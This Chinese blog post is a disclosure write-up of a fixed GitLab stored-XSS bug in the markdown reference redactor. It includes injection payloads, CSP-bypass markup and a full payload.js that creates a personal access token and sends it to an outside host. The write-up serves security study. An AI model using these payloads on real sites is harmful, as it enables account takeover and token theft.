gitlab漏洞系列-存在于markdown中的存储型XSS

简介: 背景复现步骤影响绕过csp示例后续

  • 背景
  • 复现步骤
  • 影响
  • 绕过csp示例
  • 后续


gitlab漏洞系列-存在于markdown中的存储型XSS

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。


背景


vakzz大佬于2020年提交了这个漏洞:

可以通过ReferenceRedactorFilter将任意html注入到标记中。这是因为data-original属性允许存储html编码的数据,然后将其提取并用作链接内容。如果原始数据已经被html编码,那么它将在编校后被未编码:

def redacted_node_content(node)
      original_content = node.attr('data-original')  
      link_reference = node.attr('data-link-reference')
      # Build the raw <a> tag just with a link as href and content if  
      # it's originally a link pattern. We shouldn't return a plain text href.  
      original_link =  
        if link_reference == 'true'
          href = node.attr('href')  
          content = original_content
          %(<a href="#{href}">#{content}</a>)
        end
      # The reference should be replaced by the original link's content,  
      # which is not always the same as the rendered one.  
      original_link || original_content || node.inner_html  
    end

复现步骤


1.用一个账户创建一个私有项目;

2.在这个私有项目中创建一个issue;

3.登出,然后重新以另外一个账户登录,此账户没有权限查看上面那个私有项目;

4.使用以下链接对与私人issue相关的issue发表评论:

link: <a href="https://gitlab.com/wbowling/private-project/-/issues/1" title="title">xss &lt;img onerror=alert(1) src=x></a>

5.渲染的markdown包含了注入的html:

<div class="md"><p data-sourcepos="1:1-1:124" dir="auto">link: <a href="https://gitlab.com/wbowling/private-project/-/issues/1">xss <img onerror="alert(1)" src="x"></a></p></div>

6.上面的代码被csp机制阻止了,但是可以像https://hackerone.com/reports/662287#activity-6026826(主要逻辑就是创建了一个类为class='atwho-view select2-drop-mask pika-select' 的图像)一样绕过(需要点击页面上的任何地方,但是链接是全屏的):

link: <a href="https://gitlab.com/wbowling/private-project/-/issues/1" title="title">csp   
&lt;a   
  data-remote=&quot;true&quot;  
  data-method=&quot;get&quot;  
  data-type=&quot;script&quot;  
  href=/wbowling/wiki/raw/master/test.js  
  class='atwho-view select2-drop-mask pika-select'  
&gt;  
  &lt;img height=10000 width=10000&gt;  
&lt;/a&gt;  
</a>

产生了以下html:

<div class="md issue-realtime-trigger-pulse"><p data-sourcepos="1:1-11:4" dir="auto">link: <a href="https://gitlab.com/wbowling/private-project/-/issues/1">csp  
</a><a data-remote="true" data-method="get" data-type="script" href="/wbowling/wiki/raw/master/test.js" class="atwho-view select2-drop-mask pika-select">  
<img height="10000" width="10000">  
</a>  
</p></div>


影响


在ReferenceRedactor运行的任何地方,都可以注入任意的html。用户可以设置自己的私人项目,然后在公共项目上发表评论或问题,链接到该项目并注入xss


绕过csp示例


这里并不需要与用户交互 https://gitlab.com/username/project-name/-/issues/1

link: <a href="https://gitlab.com/wbowling/private-project/-/issues/1" title="title">csp &lt;script src=&quot;/username/public/-/raw/master/test.js&quot;&gt;&lt;/script&gt; </a>

如果你通过git lfs(大文件存储,具体可以参考https://docs.github.com/en/repositories/working-with-files/managing-large-files/installing-git-large-file-storage)添加了一个javascript文件,那么它将会以 content-type为application/javascript结束,并且可以作为一个脚本src使用,因为在csp中script-src 'self'

$ curl -I 'https://gitlab.com/vakzz-h1/public/-/raw/master/test.js'
HTTP/2 200
date: Thu, 02 Apr 2020 03:39:57 GMT
content-type: application/javascript
...

另外一个例子是:

如果你点击ok,它会创建一个个人令牌(注意是包含所有范围的令牌,注:gitlab里面的scopes指的是类似读,写仓库之类的权限,就是说拿到这个令牌,你可以对某个仓库进行读写操作,我这里只说大致的逻辑,方便读者理解),并发送到远程服务器。xss可以隐藏在一个问题或评论中,并且可以触发任何查看页面的人。

issue的链接为:https://gitlab.com/vakzz-h1/stored-xss/-/issues/4

填写在这个issue里面的code为:

<a href="https://gitlab.com/wbowling/private-project/-/issues/1" title="title">create and leak an access token 
&lt;script src=&quot;/vakzz-h1/public/-/raw/master/payload.js&quot;&gt;&lt;/script&gt;
</a>

payload.js为:

asyncfunction getToken() {
const formData = new FormData();
formData.append(
document.querySelector('meta[name="csrf-param"]').content,
document.querySelector('meta[name="csrf-token"]').content
);
formData.append("personal_access_token[name]", "test");
formData.append("personal_access_token[scopes][]", "api");
formData.append("personal_access_token[scopes][]", "read_user");
formData.append("personal_access_token[scopes][]", "read_repository");
formData.append("personal_access_token[scopes][]", "write_repository");
formData.append("personal_access_token[scopes][]", "read_registry");
const response = await fetch(
"https://gitlab.com/profile/personal_access_tokens",
{
credentials: "include",
body: formData,
method: "POST",
mode: "cors"
}
);
const parser = new DOMParser();
const doc = parser.parseFromString(await response.text(), "text/html");
return doc.querySelector("#created-personal-access-token").value;
}
if (confirm("Create an access token?")) {
getToken().then(token => {
alert("Created token is: " + token);
const image = new Image();
image.src = `//aw.rs/g/leak.gif?token=${token}`;
});
}


后续


这个漏洞官方给了5000美元


目录
相关文章
|
15天前
|
存储 安全 JavaScript
【XSS】XSS漏洞详细指南
【XSS】XSS漏洞详细指南
38 3
|
8天前
|
存储 安全 Java
发现 XSS 漏洞?别急!SpringBoot这招轻松搞定!
在SpringBoot中,发现XSS(跨站脚本)漏洞时,可以通过一系列措施来轻松搞定这些安全问题。XSS攻击允许攻击者在受害者的浏览器中注入恶意脚本,这些脚本可以窃取用户的敏感信息、劫持用户会话或进行其他恶意操作。以下是一些在SpringBoot中修复XSS漏洞的有效方法
27 7
|
4月前
|
存储 JavaScript
Medium 级别存储型 XSS 演示(附链接)
Medium 级别存储型 XSS 演示(附链接)
|
9天前
|
存储 安全 JavaScript
Web安全-XSS漏洞
Web安全-XSS漏洞
11 0
|
1月前
|
安全 前端开发 开发工具
某个国外的真实XSS漏洞利用探寻
在一次测试中,在git中找到部分的源码,发现可能存在xss问题,但是经过了一点处理,于是经过探寻思考,找到了bypass的方法,写下本篇文章。
|
2月前
|
存储 安全 JavaScript
Web漏洞挖掘:XSS与CSRF防护策略
【7月更文挑战第11天】XSS和CSRF作为Web应用中常见的安全漏洞,对系统安全构成了严重威胁。通过实施上述防护策略,可以有效减少这些漏洞的风险。然而,Web安全攻防是一个持续不断的过程,开发者需要持续关注应用的安全性,更新和修补安全漏洞,同时加强自身的安全意识和防范技能,以确保Web应用的安全性和稳定性。
|
2月前
|
存储 安全 JavaScript
如何处理跨站脚本(XSS)漏洞?
XSS攻击是网页安全漏洞,攻击者插入恶意脚本让用户执行。分为三类:存储型(代码存服务器,用户访问触发)、反射型(需诱使用户点击,常见于搜索结果)和DOM型(通过URL参数影响DOM)。防御措施包括:输入验证、输出编码、使用CSP限制脚本执行、HttpOnly Cookie保护敏感信息及自动化工具检测修复漏洞。这些措施能有效降低XSS风险。
111 0
|
4月前
|
存储 JavaScript 前端开发
High 级别存储型 XSS 演示(附链接)
High 级别存储型 XSS 演示(附链接)
|
4月前
|
存储 前端开发 JavaScript
Low 级别存储型 XSS 演示(附链接)
Low 级别存储型 XSS 演示(附链接)
|
4月前
|
存储 前端开发 JavaScript
存储型 XSS 攻击演示(附链接)
存储型 XSS 攻击演示(附链接)

相关实验场景

更多